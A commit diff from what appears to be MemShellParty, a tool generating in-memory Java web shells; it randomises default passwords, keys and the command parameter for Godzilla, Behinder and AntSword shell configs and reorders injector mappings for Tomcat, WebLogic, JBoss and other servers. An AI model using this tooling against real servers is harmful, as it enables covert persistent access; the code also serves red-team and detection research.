mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-22 23:11:52 +08:00
feat: support random param and default config (#50)
This commit is contained in:
@@ -15,7 +15,7 @@ import lombok.experimental.SuperBuilder;
|
||||
@ToString
|
||||
public class AntSwordConfig extends ShellToolConfig {
|
||||
@Builder.Default
|
||||
private String pass = "pass";
|
||||
private String pass = CommonUtil.getRandomString(8);
|
||||
@Builder.Default
|
||||
private String headerName = "User-Agent";
|
||||
@Builder.Default
|
||||
|
||||
@@ -15,7 +15,7 @@ import lombok.experimental.SuperBuilder;
|
||||
@ToString
|
||||
public class BehinderConfig extends ShellToolConfig {
|
||||
@Builder.Default
|
||||
private String pass = "pass";
|
||||
private String pass = CommonUtil.getRandomString(8);
|
||||
@Builder.Default
|
||||
private String headerName = "User-Agent";
|
||||
@Builder.Default
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
package com.reajason.javaweb.memshell.config;
|
||||
|
||||
import com.reajason.javaweb.memshell.utils.CommonUtil;
|
||||
import lombok.Builder;
|
||||
import lombok.Getter;
|
||||
import lombok.ToString;
|
||||
@@ -14,5 +15,5 @@ import lombok.experimental.SuperBuilder;
|
||||
@ToString
|
||||
public class CommandConfig extends ShellToolConfig {
|
||||
@Builder.Default
|
||||
private String paramName = "cmd";
|
||||
private String paramName = CommonUtil.getRandomString(8);
|
||||
}
|
||||
|
||||
@@ -15,9 +15,9 @@ import lombok.experimental.SuperBuilder;
|
||||
@ToString
|
||||
public class GodzillaConfig extends ShellToolConfig {
|
||||
@Builder.Default
|
||||
private String pass = "pass";
|
||||
private String pass = CommonUtil.getRandomString(8);
|
||||
@Builder.Default
|
||||
private String key = "key";
|
||||
private String key = CommonUtil.getRandomString(8);
|
||||
@Builder.Default
|
||||
private String headerName = "User-Agent";
|
||||
@Builder.Default
|
||||
|
||||
@@ -30,8 +30,9 @@ public class ApusicShell extends AbstractShell {
|
||||
@Override
|
||||
public InjectorMapping getShellInjectorMapping() {
|
||||
return InjectorMapping.builder()
|
||||
.addInjector(SERVLET, ApusicServletInjector.class)
|
||||
.addInjector(LISTENER, ApusicListenerInjector.class)
|
||||
.addInjector(FILTER, ApusicFilterInjector.class)
|
||||
.addInjector(LISTENER, ApusicListenerInjector.class).build();
|
||||
.addInjector(SERVLET, ApusicServletInjector.class)
|
||||
.build();
|
||||
}
|
||||
}
|
||||
|
||||
@@ -18,8 +18,8 @@ public class BesShell extends AbstractShell {
|
||||
@Override
|
||||
public InjectorMapping getShellInjectorMapping() {
|
||||
return InjectorMapping.builder()
|
||||
.addInjector(FILTER, BesFilterInjector.class)
|
||||
.addInjector(LISTENER, BesListenerInjector.class)
|
||||
.addInjector(FILTER, BesFilterInjector.class)
|
||||
.addInjector(VALVE, BesValveInjector.class)
|
||||
.addInjector(AGENT_FILTER_CHAIN, BesFilterChainAgentInjector.class)
|
||||
.addInjector(AGENT_FILTER_CHAIN_ASM, BesFilterChainAgentWithAsmInjector.class)
|
||||
|
||||
@@ -44,10 +44,10 @@ public class GlassFishShell extends AbstractShell {
|
||||
@Override
|
||||
public InjectorMapping getShellInjectorMapping() {
|
||||
return InjectorMapping.builder()
|
||||
.addInjector(FILTER, GlassFishFilterInjector.class)
|
||||
.addInjector(JAKARTA_FILTER, GlassFishFilterInjector.class)
|
||||
.addInjector(LISTENER, GlassFishListenerInjector.class)
|
||||
.addInjector(JAKARTA_LISTENER, GlassFishListenerInjector.class)
|
||||
.addInjector(FILTER, GlassFishFilterInjector.class)
|
||||
.addInjector(JAKARTA_FILTER, GlassFishFilterInjector.class)
|
||||
.addInjector(VALVE, GlassFishValveInjector.class)
|
||||
.addInjector(JAKARTA_VALVE, GlassFishValveInjector.class)
|
||||
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
|
||||
|
||||
@@ -24,10 +24,10 @@ public class InforSuiteShell extends AbstractShell {
|
||||
@Override
|
||||
public InjectorMapping getShellInjectorMapping() {
|
||||
return InjectorMapping.builder()
|
||||
.addInjector(FILTER, InforSuiteFilterInjector.class)
|
||||
.addInjector(JAKARTA_FILTER, InforSuiteFilterInjector.class)
|
||||
.addInjector(LISTENER, GlassFishListenerInjector.class)
|
||||
.addInjector(JAKARTA_LISTENER, GlassFishListenerInjector.class)
|
||||
.addInjector(FILTER, InforSuiteFilterInjector.class)
|
||||
.addInjector(JAKARTA_FILTER, InforSuiteFilterInjector.class)
|
||||
.addInjector(VALVE, GlassFishValveInjector.class)
|
||||
.addInjector(JAKARTA_VALVE, GlassFishValveInjector.class)
|
||||
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
|
||||
|
||||
@@ -24,8 +24,8 @@ public class JbossShell extends AbstractShell {
|
||||
@Override
|
||||
public InjectorMapping getShellInjectorMapping() {
|
||||
return InjectorMapping.builder()
|
||||
.addInjector(FILTER, JbossFilterInjector.class)
|
||||
.addInjector(LISTENER, JbossListenerInjector.class)
|
||||
.addInjector(FILTER, JbossFilterInjector.class)
|
||||
.addInjector(VALVE, JbossValveInjector.class)
|
||||
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
|
||||
.addInjector(AGENT_FILTER_CHAIN_ASM, TomcatFilterChainAgentWithAsmInjector.class)
|
||||
|
||||
@@ -33,12 +33,12 @@ public class JettyShell extends AbstractShell {
|
||||
@Override
|
||||
public InjectorMapping getShellInjectorMapping() {
|
||||
return InjectorMapping.builder()
|
||||
.addInjector(SERVLET, JettyServletInjector.class)
|
||||
.addInjector(JAKARTA_SERVLET, JettyServletInjector.class)
|
||||
.addInjector(FILTER, JettyFilterInjector.class)
|
||||
.addInjector(JAKARTA_FILTER, JettyFilterInjector.class)
|
||||
.addInjector(LISTENER, JettyListenerInjector.class)
|
||||
.addInjector(JAKARTA_LISTENER, JettyListenerInjector.class)
|
||||
.addInjector(FILTER, JettyFilterInjector.class)
|
||||
.addInjector(JAKARTA_FILTER, JettyFilterInjector.class)
|
||||
.addInjector(SERVLET, JettyServletInjector.class)
|
||||
.addInjector(JAKARTA_SERVLET, JettyServletInjector.class)
|
||||
.addInjector(JETTY_AGENT_HANDLER, JettyHandlerAgentInjector.class)
|
||||
.addInjector(JETTY_AGENT_HANDLER_ASM, JettyHandlerAgentWithAsmInjector.class)
|
||||
.build();
|
||||
|
||||
@@ -28,9 +28,9 @@ public class ResinShell extends AbstractShell {
|
||||
@Override
|
||||
public InjectorMapping getShellInjectorMapping() {
|
||||
return InjectorMapping.builder()
|
||||
.addInjector(SERVLET, ResinServletInjector.class)
|
||||
.addInjector(FILTER, ResinFilterInjector.class)
|
||||
.addInjector(LISTENER, ResinListenerInjector.class)
|
||||
.addInjector(FILTER, ResinFilterInjector.class)
|
||||
.addInjector(SERVLET, ResinServletInjector.class)
|
||||
.addInjector(AGENT_FILTER_CHAIN, ResinFilterChainAgentInjector.class)
|
||||
.addInjector(AGENT_FILTER_CHAIN_ASM, ResinFilterChainAgentWithAsmInjector.class)
|
||||
.build();
|
||||
|
||||
+3
-4
@@ -23,12 +23,11 @@ public class ServerToolRegistry {
|
||||
Set<String> injectorSupportedShellTypes = shellInjectorMapping.getSupportedShellTypes();
|
||||
ToolMapping.ToolMappingBuilder toolMappingBuilder = ToolMapping.builder();
|
||||
|
||||
for (Map.Entry<String, Class<?>> entry : rawToolMapping.entrySet()) {
|
||||
String shellType = entry.getKey();
|
||||
if (!injectorSupportedShellTypes.contains(shellType)) {
|
||||
for (String shellType : injectorSupportedShellTypes) {
|
||||
Class<?> shellClass = rawToolMapping.get(shellType);
|
||||
if (shellClass == null) {
|
||||
continue;
|
||||
}
|
||||
Class<?> shellClass = entry.getValue();
|
||||
|
||||
if (ShellType.LISTENER.equals(shellType) || ShellType.JAKARTA_LISTENER.equals(shellType)) {
|
||||
shellClass = ListenerGenerator.generateListenerShellClass(shell.getListenerInterceptor(), shellClass);
|
||||
|
||||
+1
-1
@@ -17,9 +17,9 @@ public class SpringWebFluxShell extends AbstractShell {
|
||||
public InjectorMapping getShellInjectorMapping() {
|
||||
return InjectorMapping.builder()
|
||||
.addInjector(SPRING_WEBFLUX_WEB_FILTER, SpringWebFluxWebFilterInjector.class)
|
||||
.addInjector(NETTY_HANDLER, SpringWebFluxNettyHandlerInjector.class)
|
||||
.addInjector(SPRING_WEBFLUX_HANDLER_METHOD, SpringWebFluxHandlerMethodInjector.class)
|
||||
.addInjector(SPRING_WEBFLUX_HANDLER_FUNCTION, SpringWebFluxHandlerFunctionInjector.class)
|
||||
.addInjector(NETTY_HANDLER, SpringWebFluxNettyHandlerInjector.class)
|
||||
.build();
|
||||
}
|
||||
}
|
||||
|
||||
@@ -33,14 +33,14 @@ public class TomcatShell extends AbstractShell {
|
||||
@Override
|
||||
public InjectorMapping getShellInjectorMapping() {
|
||||
return InjectorMapping.builder()
|
||||
.addInjector(SERVLET, TomcatServletInjector.class)
|
||||
.addInjector(JAKARTA_SERVLET, TomcatServletInjector.class)
|
||||
.addInjector(FILTER, TomcatFilterInjector.class)
|
||||
.addInjector(JAKARTA_FILTER, TomcatFilterInjector.class)
|
||||
.addInjector(LISTENER, TomcatListenerInjector.class)
|
||||
.addInjector(JAKARTA_LISTENER, TomcatListenerInjector.class)
|
||||
.addInjector(FILTER, TomcatFilterInjector.class)
|
||||
.addInjector(JAKARTA_FILTER, TomcatFilterInjector.class)
|
||||
.addInjector(VALVE, TomcatValveInjector.class)
|
||||
.addInjector(JAKARTA_VALVE, TomcatValveInjector.class)
|
||||
.addInjector(SERVLET, TomcatServletInjector.class)
|
||||
.addInjector(JAKARTA_SERVLET, TomcatServletInjector.class)
|
||||
.addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class)
|
||||
.addInjector(AGENT_FILTER_CHAIN_ASM, TomcatFilterChainAgentWithAsmInjector.class)
|
||||
.addInjector(CATALINA_AGENT_CONTEXT_VALVE, TomcatContextValveAgentInjector.class)
|
||||
|
||||
@@ -18,10 +18,10 @@ public class TongWeb6Shell extends AbstractShell {
|
||||
@Override
|
||||
public InjectorMapping getShellInjectorMapping() {
|
||||
return InjectorMapping.builder()
|
||||
.addInjector(FILTER, TongWebFilterInjector.class)
|
||||
.addInjector(JAKARTA_FILTER, TongWebFilterInjector.class)
|
||||
.addInjector(LISTENER, TongWebListenerInjector.class)
|
||||
.addInjector(JAKARTA_LISTENER, TongWebListenerInjector.class)
|
||||
.addInjector(FILTER, TongWebFilterInjector.class)
|
||||
.addInjector(JAKARTA_FILTER, TongWebFilterInjector.class)
|
||||
.addInjector(VALVE, TongWebValveInjector.class)
|
||||
.addInjector(JAKARTA_VALVE, TongWebValveInjector.class)
|
||||
.addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class)
|
||||
|
||||
@@ -18,10 +18,10 @@ public class TongWeb7Shell extends AbstractShell {
|
||||
@Override
|
||||
public InjectorMapping getShellInjectorMapping() {
|
||||
return InjectorMapping.builder()
|
||||
.addInjector(FILTER, TongWebFilterInjector.class)
|
||||
.addInjector(JAKARTA_FILTER, TongWebFilterInjector.class)
|
||||
.addInjector(LISTENER, TongWebListenerInjector.class)
|
||||
.addInjector(JAKARTA_LISTENER, TongWebListenerInjector.class)
|
||||
.addInjector(FILTER, TongWebFilterInjector.class)
|
||||
.addInjector(JAKARTA_FILTER, TongWebFilterInjector.class)
|
||||
.addInjector(VALVE, TongWebValveInjector.class)
|
||||
.addInjector(JAKARTA_VALVE, TongWebValveInjector.class)
|
||||
.addInjector(AGENT_FILTER_CHAIN, TongWebFilterChainAgentInjector.class)
|
||||
|
||||
@@ -38,12 +38,12 @@ public class UndertowShell extends AbstractShell {
|
||||
@Override
|
||||
public InjectorMapping getShellInjectorMapping() {
|
||||
return InjectorMapping.builder()
|
||||
.addInjector(SERVLET, UndertowServletInjector.class)
|
||||
.addInjector(JAKARTA_SERVLET, UndertowServletInjector.class)
|
||||
.addInjector(FILTER, UndertowFilterInjector.class)
|
||||
.addInjector(JAKARTA_FILTER, UndertowFilterInjector.class)
|
||||
.addInjector(LISTENER, UndertowListenerInjector.class)
|
||||
.addInjector(JAKARTA_LISTENER, UndertowListenerInjector.class)
|
||||
.addInjector(FILTER, UndertowFilterInjector.class)
|
||||
.addInjector(JAKARTA_FILTER, UndertowFilterInjector.class)
|
||||
.addInjector(SERVLET, UndertowServletInjector.class)
|
||||
.addInjector(JAKARTA_SERVLET, UndertowServletInjector.class)
|
||||
.addInjector(UNDERTOW_AGENT_SERVLET_HANDLER, UndertowServletInitialHandlerAgentInjector.class)
|
||||
.addInjector(UNDERTOW_AGENT_SERVLET_HANDLER_ASM, UndertowServletInitialHandlerAgentWithAsmInjector.class)
|
||||
.build();
|
||||
|
||||
@@ -18,9 +18,9 @@ public class WebLogicShell extends AbstractShell {
|
||||
@Override
|
||||
public InjectorMapping getShellInjectorMapping() {
|
||||
return InjectorMapping.builder()
|
||||
.addInjector(SERVLET, WebLogicServletInjector.class)
|
||||
.addInjector(FILTER, WebLogicFilterInjector.class)
|
||||
.addInjector(LISTENER, WebLogicListenerInjector.class)
|
||||
.addInjector(FILTER, WebLogicFilterInjector.class)
|
||||
.addInjector(SERVLET, WebLogicServletInjector.class)
|
||||
.addInjector(WEBLOGIC_AGENT_SERVLET_CONTEXT, WebLogicServletContextAgentInjector.class)
|
||||
.addInjector(WEBLOGIC_AGENT_SERVLET_CONTEXT_ASM, WebLogicServletContextAgentWithAsmInjector.class)
|
||||
.build();
|
||||
|
||||
@@ -29,9 +29,9 @@ public class WebSphereShell extends AbstractShell {
|
||||
@Override
|
||||
public InjectorMapping getShellInjectorMapping() {
|
||||
return InjectorMapping.builder()
|
||||
.addInjector(SERVLET, WebSphereServletInjector.class)
|
||||
.addInjector(FILTER, WebSphereFilterInjector.class)
|
||||
.addInjector(LISTENER, WebSphereListenerInjector.class)
|
||||
.addInjector(FILTER, WebSphereFilterInjector.class)
|
||||
.addInjector(SERVLET, WebSphereServletInjector.class)
|
||||
.addInjector(WAS_AGENT_FILTER_MANAGER, WebSphereFilterChainAgentInjector.class)
|
||||
.addInjector(WAS_AGENT_FILTER_MANAGER_ASM, WebSphereFilterChainAgentWithAsmInjector.class)
|
||||
.build();
|
||||
|
||||
Reference in New Issue
Block a user